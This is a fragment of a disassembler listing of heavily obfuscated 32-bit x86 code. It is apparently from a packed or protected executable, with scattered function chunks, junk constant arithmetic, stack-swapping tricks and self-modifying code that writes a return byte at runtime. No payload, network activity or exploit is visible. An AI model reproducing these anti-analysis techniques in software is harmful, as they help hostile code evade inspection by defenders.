loc_447A69:				; CODE XREF: sub_43B5BA:loc_43FE98j
		add	edx, 5E2E998Bh
		jnb	loc_43B308

loc_447A75:				; CODE XREF: sub_44DB18+7j
		jmp	loc_44E02B
; END OF FUNCTION CHUNK	FOR sub_43B5BA
; ---------------------------------------------------------------------------
		add	edx, 5521EF06h
		jmp	loc_44D88D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447193

loc_447A85:				; CODE XREF: sub_447193:loc_43E14Ej
		add	eax, 75D1A666h
		mov	eax, [eax]
		push	offset loc_439484
		jmp	nullsub_98
; END OF FUNCTION CHUNK	FOR sub_447193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_447A97:				; CODE XREF: sub_44114F:loc_443F29j
		xor	edi, 249C9926h
		or	edi, 0F0F66817h
		and	edi, 0A5506B5Ch
		jnz	loc_43B4C6

loc_447AAF:				; CODE XREF: sub_43741E+B3B5j
		jmp	loc_44011E
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB8F

loc_447AB4:				; CODE XREF: sub_43EB8F+1j
		jmp	loc_4493EA
; END OF FUNCTION CHUNK	FOR sub_43EB8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_447AB9:				; CODE XREF: sub_447E85-E47Bj
		jl	loc_442F75

loc_447ABF:				; CODE XREF: sub_4446F8-639Aj
		jmp	nullsub_161
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFA5

loc_447AC4:				; CODE XREF: sub_43CFA5+DB4j
		jmp	loc_443CA9
; END OF FUNCTION CHUNK	FOR sub_43CFA5
; ---------------------------------------------------------------------------
		and	edi, eax
		mov	edi, 8286A2B6h
		sub	edi, esi
		jmp	loc_442F6D
; ---------------------------------------------------------------------------
		and	eax, 990F33h
		jmp	sub_437A6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C832

loc_447AE2:				; CODE XREF: sub_43C832+1j
		call	sub_445022

loc_447AE7:				; CODE XREF: sub_447B31+2B4Aj
		jmp	nullsub_95
; END OF FUNCTION CHUNK	FOR sub_43C832
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443622

loc_447AEC:				; CODE XREF: sub_443622+AB8Bj
		test	eax, 80000h
		jmp	loc_44B252
; END OF FUNCTION CHUNK	FOR sub_443622
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444240

loc_447AF7:				; CODE XREF: sub_444240:loc_443F6Dj
		cmp	ds:dword_43A8C4, 0
		jnz	loc_43D527
		jmp	loc_4484F8
; END OF FUNCTION CHUNK	FOR sub_444240
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_447B09:				; CODE XREF: sub_43B1D6:loc_43C157j
		sub	ebx, 0E8151D9Bh
		xor	ebx, 0FAEB0D46h
		add	ebx, 65BAFDA0h
		add	ebx, ebp
		push	offset loc_442ED1
		jmp	loc_44937D
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444864

loc_447B27:				; CODE XREF: sub_444864:loc_43936Cj
		push	0F622FA81h
		jmp	sub_4433D8
; END OF FUNCTION CHUNK	FOR sub_444864

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447B31	proc near		; CODE XREF: sub_43AB5E+5p
					; sub_43FA71:loc_43B54Dj ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439F5C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B322 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043D2EB SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043EAC0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004412DB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441661 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004439F3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00444DEB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004462FD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00446A44 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004476C8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004483D9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A668 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044A84E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B2A1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044BA3A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044CBAE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DD0D SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		jno	loc_4462FD
		jmp	loc_4412DB
sub_447B31	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_447B48:				; CODE XREF: kgbikm34:00437744j
		adc	edx, esi

; =============== S U B	R O U T	I N E =======================================



sub_447B4A	proc near		; CODE XREF: kgbikm34:loc_438ABAp

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043C196 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440B31 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00445645 SIZE 00000006 BYTES

		xchg	ebx, [esp+0Ch+var_C]
		pop	ebx
		mov	eax, [esp+0]
		call	sub_43B72E

loc_447B56:				; CODE XREF: kgbikm34:004490E4j
		jmp	loc_440B31
sub_447B4A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440CD

loc_447B5B:				; CODE XREF: sub_4440CD+6j
		jb	loc_44CD75
		mov	eax, [esp-8+arg_4]
		push	ebp
		mov	ebp, edx
		jmp	loc_43D08D
; END OF FUNCTION CHUNK	FOR sub_4440CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_447B6C:				; CODE XREF: sub_43DFE5+EC27j
		push	2DEC29D1h
		xchg	ecx, [esp+14h+var_14]
		mov	ebx, ecx
		pop	ecx
		rol	ebx, 0Bh
		or	ebx, 0C7872F5Eh
		jmp	loc_441028
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_255. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_447B86:				; CODE XREF: sub_439BDE:loc_4413C7j
		pushf
		push	0E7FED869h
		pop	eax
		sub	eax, 0FEF9B6CDh
		cmp	eax, 0E75E0097h
		jmp	loc_44841B
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_447B9E:				; CODE XREF: sub_43C55C+ECC5j
		jnz	loc_44AE70

loc_447BA4:				; CODE XREF: sub_444A5E-C20Aj
		jmp	loc_43E291
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
		or	esi, 9372613Ch
		sub	edi, 0FC7DE5D8h
		xchg	eax, [edx]
		mov	eax, [ebx]
		jmp	loc_44AE6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_447BBE:				; CODE XREF: sub_43DF5B+AD09j
		add	edx, eax
		pop	eax
		mov	edx, [edx]
		imul	byte ptr [edx]
		jmp	loc_4467AE
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_447BCA:				; CODE XREF: sub_439609:loc_44156Ej
		add	eax, 44444B6Fh
		xchg	eax, [esp-8+arg_4]
		jmp	sub_44BA42
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------

loc_447BD8:				; CODE XREF: kgbikm34:00449685j
		pop	esi
		sub	esi, 86D01376h
		rol	esi, 18h
		jnb	loc_43C346
		jz	loc_445E18
		jmp	loc_43D94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DD64

loc_447BF3:				; CODE XREF: sub_43DD64+10j
		jz	loc_443A48
		jmp	loc_44546F
; END OF FUNCTION CHUNK	FOR sub_43DD64
; ---------------------------------------------------------------------------

loc_447BFE:				; CODE XREF: kgbikm34:0044A3E5j
		rol	ecx, 18h
		jb	loc_43AAF2
; START	OF FUNCTION CHUNK FOR sub_44BB9F

loc_447C07:				; CODE XREF: sub_44BB9F-9A8Aj
		jmp	loc_447759
; END OF FUNCTION CHUNK	FOR sub_44BB9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442A46

loc_447C0C:				; CODE XREF: sub_442A46-43E2j
		jmp	loc_447462
; END OF FUNCTION CHUNK	FOR sub_442A46
; ---------------------------------------------------------------------------
		test	ebx, ebp
		jmp	loc_44190A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_357. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_447C19:				; CODE XREF: sub_449F77-CB47j
		jmp	loc_44A232
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_447C1E:				; CODE XREF: sub_43D045:loc_44AD5Bj
		push	56E51D0Eh
		pop	eax
		or	eax, 0A2B5C16Dh
		xor	eax, 0E0B1B702h
		jmp	loc_43AD48
; END OF FUNCTION CHUNK	FOR sub_43D045
; ---------------------------------------------------------------------------

loc_447C35:				; CODE XREF: kgbikm34:0044AADAj
		jb	loc_44C7E5
; START	OF FUNCTION CHUNK FOR sub_44A987

loc_447C3B:				; CODE XREF: sub_44A987+2D7Ej
		jmp	loc_446AB3
; END OF FUNCTION CHUNK	FOR sub_44A987
; ---------------------------------------------------------------------------

loc_447C40:				; CODE XREF: kgbikm34:004440A4j
		jmp	loc_43780C
; ---------------------------------------------------------------------------
		jg	loc_43D374
		sub	ebp, 304DE951h
		jmp	loc_44C7DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_447C56:				; CODE XREF: sub_444B9B:loc_443EFAj
					; sub_441D2F:loc_449222j
		xchg	ebx, [esp+0Ch+var_C]
		mov	ebp, esp
		call	sub_447FC7

loc_447C60:				; CODE XREF: sub_43D632+DAE7j
		jmp	loc_439CFE
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFA5

loc_447C65:				; CODE XREF: sub_43CFA5-4556j
		jmp	nullsub_96
; END OF FUNCTION CHUNK	FOR sub_43CFA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439DCD

loc_447C6A:				; CODE XREF: sub_439DCD:loc_43B2F7j
		push	offset loc_4396B0
		jmp	loc_43EB9B
; END OF FUNCTION CHUNK	FOR sub_439DCD
; ---------------------------------------------------------------------------
		jb	loc_43EC52
		jmp	sub_43EB3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_447C7F:				; CODE XREF: sub_43D045-1458j
					; sub_439609:loc_4453A6j ...
		push	edi
		push	1D9909Bh
		pop	edi
		sub	edi, 4AA9A148h
		add	edi, 7DC7360Bh
		xor	eax, edi
		pop	edi
		jmp	loc_448AA4
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, eax
		xchg	edi, [esp]
		ror	eax, 4
		mov	ds:dword_446C48, eax
		jmp	locret_440899
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4429BC

loc_447CAE:				; CODE XREF: sub_4429BC:loc_444583j
		js	loc_448461
; END OF FUNCTION CHUNK	FOR sub_4429BC
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_447CB4:				; CODE XREF: sub_438B6B+AA14j
		adc	ecx, ebx
		mov	esi, ebp
		jmp	loc_448455
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4466A3

loc_447CBD:				; CODE XREF: sub_4466A3:loc_4479ACj
		mov	eax, ds:dword_44809C
		or	eax, eax
		jnz	loc_447D16
		jmp	loc_4474C7
; END OF FUNCTION CHUNK	FOR sub_4466A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_447CD0:				; CODE XREF: sub_43BCAD:loc_43FE9Dj
		xchg	edx, [esp+0]
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jz	loc_443885
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		jmp	loc_44D70B
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------

loc_447CED:				; CODE XREF: kgbikm34:0044B02Ej
		sub	ebx, 0EAE230CEh

loc_447CF3:				; CODE XREF: kgbikm34:loc_440CC5j
		push	1577C76Eh
		pop	eax
		and	eax, 6151FEEDh
		or	eax, 0C0CD7329h
		xor	eax, 69B1692Ch
		sub	eax, 5526621Dh
		jmp	loc_442DDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4466A3

loc_447D16:				; CODE XREF: sub_4466A3+1622j
		push	offset loc_444B8C
		jmp	loc_43966C
; END OF FUNCTION CHUNK	FOR sub_4466A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B99

loc_447D20:				; CODE XREF: sub_438B99:loc_43D401j
		and	ecx, 4A3F5EACh
		jmp	sub_440841
; END OF FUNCTION CHUNK	FOR sub_438B99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_447D2B:				; CODE XREF: sub_439BDE:loc_44C3B5j
		jz	loc_43FADC

loc_447D31:				; CODE XREF: kgbikm34:0044DAB3j
		jmp	loc_449F42
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443DF0

loc_447D36:				; CODE XREF: sub_443DF0+64Fj
		jmp	loc_440499
; END OF FUNCTION CHUNK	FOR sub_443DF0
; ---------------------------------------------------------------------------
		rol	eax, 17h
		jmp	loc_43FADB

; =============== S U B	R O U T	I N E =======================================



sub_447D43	proc near		; CODE XREF: sub_444240-2D8p
					; kgbikm34:0044CFB5j
		xchg	ecx, [esp+0]
		pop	ecx
		push	ecx
sub_447D43	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_447D48:				; CODE XREF: sub_4474D5:loc_444FE4j
		pop	edx
		xchg	edx, [esp+0]
		mov	esp, ebp
		xchg	eax, [esp+0]
		jmp	loc_44216F
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, eax
		xchg	edx, [esp]
		ror	eax, 8
		push	ebx
		jmp	loc_4399CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440CD

loc_447D65:				; CODE XREF: sub_4440CD:loc_43D08Dj
		xchg	ebp, [esp-4+arg_0]
		call	sub_43A4CE
		mov	eax, 276E7523h

loc_447D72:				; CODE XREF: kgbikm34:0044D986j
		call	sub_43BF6F
		push	esi
		jmp	loc_4495C0
; END OF FUNCTION CHUNK	FOR sub_4440CD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_342. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_447D7E:				; CODE XREF: kgbikm34:00446971j
		jmp	loc_447617
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_447D83:				; CODE XREF: sub_4394EB+97j
		jmp	loc_440332
; END OF FUNCTION CHUNK	FOR sub_4394EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_447D88:				; CODE XREF: sub_43B0B7+DE5Bj
		pop	ebx
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_44627C
		mov	eax, 851AF986h
		push	edi
		push	8196A14Ah
		jmp	loc_448518
; END OF FUNCTION CHUNK	FOR sub_43B0B7

; =============== S U B	R O U T	I N E =======================================



sub_447DA2	proc near		; DATA XREF: kgbikm34:0043CBCEo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043772F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438A97 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043E6AD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446603 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B976 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044C6CA SIZE 00000015 BYTES

		jno	loc_438A97
		mov	eax, [esp+0]
		push	edx
		call	sub_43EB8F
		mov	eax, 0A7A44D83h
		jmp	loc_44B976
sub_447DA2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_447DBB:				; CODE XREF: sub_44A80D-85C7j
					; sub_44A80D+BFj
		add	edx, 0CEF05E33h
		mov	[edx], eax
		pop	edx
		lea	eax, loc_44B4CE
		mov	byte ptr [eax],	0C3h
		jmp	loc_44B4CE
; END OF FUNCTION CHUNK	FOR sub_44A80D
; ---------------------------------------------------------------------------
		push	edi
		push	0E65690E1h
		pop	edi
		jmp	loc_439CB2
; ---------------------------------------------------------------------------

loc_447DDE:				; CODE XREF: kgbikm34:004463ACj
		test	edi, 0EAFEEC7Fh
		jmp	loc_43DD5E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_188. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BF6F

loc_447DEA:				; CODE XREF: sub_43BF6F+37D0j
					; kgbikm34:loc_443422j
		mov	eax, edx
		jmp	loc_43C50A
; END OF FUNCTION CHUNK	FOR sub_43BF6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_447DF1:				; CODE XREF: sub_43C55C:loc_438A3Bj
		add	eax, 18h
		mov	[ebp-4], eax
		mov	eax, [ebp-10h]
		test	eax, eax
		jmp	loc_443A3B
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_447E01:				; CODE XREF: sub_43DF5B+5681j
		or	eax, 60A932C1h
		add	eax, 0D1DAA1C9h
		add	eax, ebp
		add	eax, 0C827E244h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_43DF21
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
		push	esi
		push	28C884C2h
		pop	esi
		sub	esi, 1CD19A8Fh
		jmp	loc_443EE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_447E31:				; CODE XREF: sub_439609+D890j
		cmp	esi, 0C0809DDh
		jmp	loc_43B39E
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_447E3C:				; CODE XREF: sub_44649E:loc_4454E3j
		call	sub_43C56B
; END OF FUNCTION CHUNK	FOR sub_44649E

; =============== S U B	R O U T	I N E =======================================



sub_447E41	proc near		; CODE XREF: sub_4383B9+3D8Fp
					; kgbikm34:00444492j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xchg	esi, [esp+0]
		pop	esi
		add	eax, [esp-4+arg_0]
		adc	edx, [esp-4+arg_4]

loc_447E4C:				; CODE XREF: sub_44DAF3:loc_43B8B0j
		jmp	loc_44191B
sub_447E41	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4ED

loc_447E51:				; CODE XREF: sub_43F4ED:loc_44255Aj
		or	eax, 0D4F6DF7Dh
		add	eax, 2A444314h
		popf
		xchg	eax, [esp+0Ch+var_C]
		jmp	sub_43E4C0
; END OF FUNCTION CHUNK	FOR sub_43F4ED
; ---------------------------------------------------------------------------

loc_447E66:				; CODE XREF: kgbikm34:0043A276j
		test	edi, 183697DEh
		jmp	loc_43B8EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A4A3

loc_447E71:				; CODE XREF: sub_43A4A3:loc_43E1BFj
		xchg	edi, [esp+0Ch+var_C]
		push	0D99E7870h
		pop	eax
		xor	eax, 222383FDh
		jmp	loc_437A03
; END OF FUNCTION CHUNK	FOR sub_43A4A3

; =============== S U B	R O U T	I N E =======================================



sub_447E85	proc near		; CODE XREF: sub_43FA71:loc_443B1Bp
					; kgbikm34:004441B4j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043781B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004399FE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00439B64 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A73F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043BB48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BBA1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043CACF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043CE37 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442D3D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442F75 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044351F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044602C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446066 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00447AB9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447F48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448728 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00448733 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00449194 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00449A56 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A45E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044B05D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BDB6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DDD4 SIZE 0000000B BYTES

		xchg	eax, [esp+4+var_4]
		pop	eax
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_448733
		jmp	loc_44351F
sub_447E85	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_447E9A	proc near		; CODE XREF: kgbikm34:0044266Cp
					; kgbikm34:0044C29Ej

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043793C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448DE2 SIZE 00000029 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	edx, [esp-4+arg_0]
		push	3F76CC00h
		pop	edi
		jmp	loc_43793C
sub_447E9A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 42E9FE85h, 81FFFF5Ch, 42353AE8h, 0E9FB850Eh,	399Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44744C

loc_447EC0:				; CODE XREF: sub_44744C+Bj
		sub	al, 99h
		push	79F59859h
		xchg	ebx, [esp+4+var_4]
		mov	edx, ebx

loc_447ECC:				; CODE XREF: kgbikm34:loc_4488F4j
		jmp	loc_4467FA
; END OF FUNCTION CHUNK	FOR sub_44744C

; =============== S U B	R O U T	I N E =======================================



sub_447ED1	proc near		; CODE XREF: kgbikm34:00449524p
					; kgbikm34:0044983Aj

; FUNCTION CHUNK AT 00445256 SIZE 00000011 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	8A6280A7h
		pop	eax
		jmp	loc_445256
sub_447ED1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_447EE0	proc near		; CODE XREF: kgbikm34:0044AEA7j
					; kgbikm34:0044B1CEp

; FUNCTION CHUNK AT 00438872 SIZE 00000001 BYTES
; FUNCTION CHUNK AT 00438B61 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D2B8 SIZE 00000018 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	2858777Dh
		pop	eax
		or	eax, 6155676Ch

loc_447EF0:				; CODE XREF: kgbikm34:loc_443A66j
		jmp	loc_44D2B8
sub_447EE0	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_266. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437A6A

loc_447EF6:				; CODE XREF: sub_437A6A+13j
		jmp	loc_44B9D9
; END OF FUNCTION CHUNK	FOR sub_437A6A
; ---------------------------------------------------------------------------
		mov	esi, [ebp+0]
		jmp	sub_439D4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448291

loc_447F03:				; CODE XREF: sub_448291-25Bj
		mov	al, [eax]
		mov	edx, [ebp-20h]
		mov	[edx], al
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		cmp	byte ptr [eax],	2Eh
		jnz	loc_43AFA0
		mov	eax, [ebp-20h]
		jmp	loc_438A54
; END OF FUNCTION CHUNK	FOR sub_448291
; ---------------------------------------------------------------------------

loc_447F21:				; CODE XREF: kgbikm34:loc_44716Cj
		pop	ecx
		push	offset sub_443854
		jmp	locret_437754
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E250

loc_447F2C:				; CODE XREF: kgbikm34:00438D7Dj
					; sub_44E250-4244j
		pop	ebx
		xor	ebx, 2F086FD5h
		add	ebx, 0C075FA14h
		xchg	ebx, [esp+0]
		jmp	sub_43D409
; END OF FUNCTION CHUNK	FOR sub_44E250
; ---------------------------------------------------------------------------

loc_447F41:				; DATA XREF: sub_44B20C-CAD8o
		push	ds:dword_445F74
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_447F48:				; CODE XREF: sub_447E85-4F01j
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_447E85

; =============== S U B	R O U T	I N E =======================================



sub_447F4D	proc near		; CODE XREF: sub_43B400+2D6Fp
					; sub_43B400+D657p

; FUNCTION CHUNK AT 00439F50 SIZE 0000000C BYTES

		mov	eax, cs
		xor	al, al
		or	eax, eax
		jnz	loc_439F56
		call	sub_442E4C
		or	eax, eax
		jmp	loc_439F50
sub_447F4D	endp

; ---------------------------------------------------------------------------

locret_447F65:				; CODE XREF: kgbikm34:0044AE85j
		retn
; ---------------------------------------------------------------------------

loc_447F66:				; CODE XREF: kgbikm34:004459FEj
		not	ebp
; START	OF FUNCTION CHUNK FOR sub_43FF32

loc_447F68:				; CODE XREF: sub_43FF32:loc_4459E2j
		add	esi, 8B8E3921h
		xchg	esi, [esp-8+arg_4]
		jmp	sub_43F3F8
; END OF FUNCTION CHUNK	FOR sub_43FF32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440841

loc_447F76:				; CODE XREF: sub_440841+4FC7j
		jnz	loc_442497
; END OF FUNCTION CHUNK	FOR sub_440841
; START	OF FUNCTION CHUNK FOR sub_447193

loc_447F7C:				; CODE XREF: sub_447193+Cj
		jmp	loc_43E469
; END OF FUNCTION CHUNK	FOR sub_447193
; ---------------------------------------------------------------------------
		xor	ecx, ebp
		add	edx, 0D877C0F5h
		jmp	loc_442493
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_447F8E:				; CODE XREF: kgbikm34:0043B24Ej
					; sub_4474D5-3D83j ...
		xchg	eax, [esp+0]
		mov	edx, eax
		call	sub_4479B1
		xchg	ebp, [esp+0]
		jmp	loc_4451EF
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ADC2

loc_447FA0:				; CODE XREF: sub_44ADC2-F08Bj
		jl	loc_44CB0E
		mov	eax, esi
		jmp	loc_44CAF9
; END OF FUNCTION CHUNK	FOR sub_44ADC2
; ---------------------------------------------------------------------------

loc_447FAD:				; CODE XREF: kgbikm34:004411E4j
		add	edi, 58C10D93h
		or	edi, 0DF4B6E53h
		add	edi, 0E51284h
		xchg	edi, [esp]
		jmp	nullsub_340

; =============== S U B	R O U T	I N E =======================================



sub_447FC7	proc near		; CODE XREF: sub_441D2F+5F2Cp
					; kgbikm34:0044CF03j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437498 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437848 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00438DD5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004393F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444820 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00446914 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00447224 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044972C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B263 SIZE 00000006 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	ecx
		mov	esp, ebp
		pop	ebp
		push	0B0BA9EACh
		pop	eax

loc_447FD5:				; CODE XREF: kgbikm34:0044E188j
		add	eax, 0D6A385D6h
		jmp	loc_438DD5
sub_447FC7	endp ; sp-analysis failed

